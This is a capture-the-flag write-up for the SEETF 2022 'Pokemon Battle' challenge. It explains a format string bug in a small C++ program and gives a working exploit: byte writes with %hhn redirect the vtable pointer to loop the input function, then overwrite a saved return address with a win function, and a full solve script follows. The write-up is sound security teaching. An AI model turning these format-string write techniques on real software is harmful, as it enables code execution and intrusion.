Pokemon Battle

In SEETF 2022, 842 points

Gary wants to challenge you to a virtual battle. Be sure to choose your pokemon well! Here's an early leak of the game, but you should know that it's incomplete and there's currently no way to win.

nc fun.chall.seetf.sg 50005

Challenge files: pwn_pokemonbattle.zip

Introduction

The program is written in C++, and has all the major protections such as NX, full RELRO and PIE enabled.

#include <iostream>

struct {
    char pokemon[13]; // longest pokemon name is 12 letters (Crabominable)
    virtual void Battle() {
        printf("Let the battle begin...\n");
        // @todo: implement an actual battle
        printf("Your pokemon was defeated. You blacked out!\n");
    }
    virtual void Play() {
        printf("Choose a pokemon: ");
        std::cin.getline(pokemon, sizeof pokemon);
        printf(pokemon);
        printf(", I choose you!\n");
        Battle();
    }
} battler;

int main() {
    battler.Play();
}

void win() {
    system("cat flag.txt");
}

Notably, there is a win function which will substantially ease exploitation.

C++ virtual functions

Virtual functions are functions that can be overridden by a derived class. This is implemented by storing a pointer to an array of function pointers in the class. The correct function can then be called by looking up the correct function pointer.

Vulnerability

The vulnerability is a fairly obvious format string vulnerability in the Play method. However, we are only able to use 13 characters in our format string, and the string is stored on the heap, not the stack. This poses a particularly interesting challenge to exploitation.

Exploitation

Since the format string is not stored on the stack, we will have to look at the existing pointers on the stack and see what we can do with them:

In $rsp+8 we have a pointer to the battler struct, which starts with a pointer to the function pointer list. That's kinda confusing, so here's a diagram to show the pointers:

(each box is 1 qword or 8 bytes)

If you're familiar with format string exploits (I'll assume you are), you'll know that %x$n allows you to write a (nearly) arbitrary integer to the address pointed to by $rsp + (x-6)*8. In other words, if an address is present on the stack, we can write to the location it points to.

Our first course of action is to find a way to perform a format string exploit multiple times. It's pretty hard to achieve RCE with a single format string exploit in this case.

To call printf with arbitrary input multiple times, we can use %7$hhn to write a byte to the battler struct (hhn is used to write a byte instead of an integer). We will increment the lower byte of the pointer to the function list by 8, so that it points to the pointer to battler.Play instead:

This is possible as PIE leaves the lower 12 bits unrandomized, allowing us to easily determine the value we should write.

Once the write is complete, when Play looks up the address of battler.Battler in the function pointer list, it will actually get the address of battler.Play, allowing us to loop back and call the battler.Play function multiple times.

Now that we can call printf(almost anything we want) multiple times, let's leak the binary base (via the pointer to the battler struct) and a stack address (the saved rbp) using %7$p %8$p. As it turns out, we only need the stack address. Let's look at the stack again:

Hmm a little more interesting now. You can see that we've incremented the function list pointer by 8 to 0x......70 instead of 0x......68 so that it points to (a pointer to) battler.Play.

You should also notice that the saved RBPs form a linked list of sorts: the one at the top of the stack points to the saved RBP from the previous function call and so on. Notably, RBPs are saved on the stack. Remember that we can write to any address as long as it's present on the stack. Since saved RBPs point into the stack, we can use them to write addresses on the stack, which we can then write to via another format string exploit, thus achieving arbitrary write.

But it's not quite so simple. Writing an arbitrary qword using a format string exploit with 13 characters is pretty hard. Maybe we can leverage something else that's already on the stack?

If we modify the lower byte of another saved RBP to point to the saved RIP, we can then use the fake RBP to modify the saved RIP to the win function address, thus obtaining the flag. All of these only require 1 byte writes as the upper bytes do not need to be changed. Here's another picture that hopefully helps:

• Note: pointers that point into the stack (purple) still point into the stack, while points that point into code (red) still point into code. This results in a minimal number of writes required.

• Another important note: the position of stuff on the stack relative to RSP changes after each function call (so the diagram isn't completely accurate). But the new offsets can be determined through inspection with GDB.

Now, all we need to do is change the function list pointer back to the original so it breaks out of the battler.Play loop and actually jumps to the saved RIPs.

While this worked locally for me, it crashed when run on remote. This is most likely due to the program trying to access the next stack frame based on the saved RBP we had corrupted. This probably causes it to crash before the flag is printed/flushed.

To solve this problem, I simply restored the lower byte of the corrupted RBP to the original value.

Solve script

from ctflib.pwn import *

'''
gen_func
'''

e = ELF("pokemonbattle")
context.binary = e

def setup():
    p = remote("nc fun.chall.seetf.sg 50005")
    return p

if __name__ == '__main__':
    p = setup()

    print("Write function list pointer to point to battler.Play")
    p.sendline(f"%112c%7$hhn")
    print("Leak binary address and stack address")
    p.sendline("%8$p")
    p.recvuntil("Choose a pokemon: 0x")
    x = b"0x"+p.recvline()
    print(x)
    stack_leak = find_hex(x, 12)
    lower = (stack_leak & 0xff)-56
    if(lower < 0):
        exit(0)
    print(hex(lower))

    
    print("Write lower bytes of stack")
    p.sendline(f"%{lower}c%8$hhn")

    print("Write lower byte of saved rip")
    # 198 = lower byte of address of win
    p.recvuntil("Choose a pokemon:")
    p.sendline(f"%198c%16$hhn")
    
    print("Restore corrupted saved RBP")
    p.recvuntil("Choose a pokemon:")
    p.sendline(f"%{stack_leak&0xff}c%16$hhn")

    print("Restore ptr to battler.Battle so we can ret")
    p.sendline(f"%104c%7$hhn")

    p.interactive()

Flag: SEE{did_you_choose_missingno_b6d3c6594dcc332c7e22d231d10b8b8b}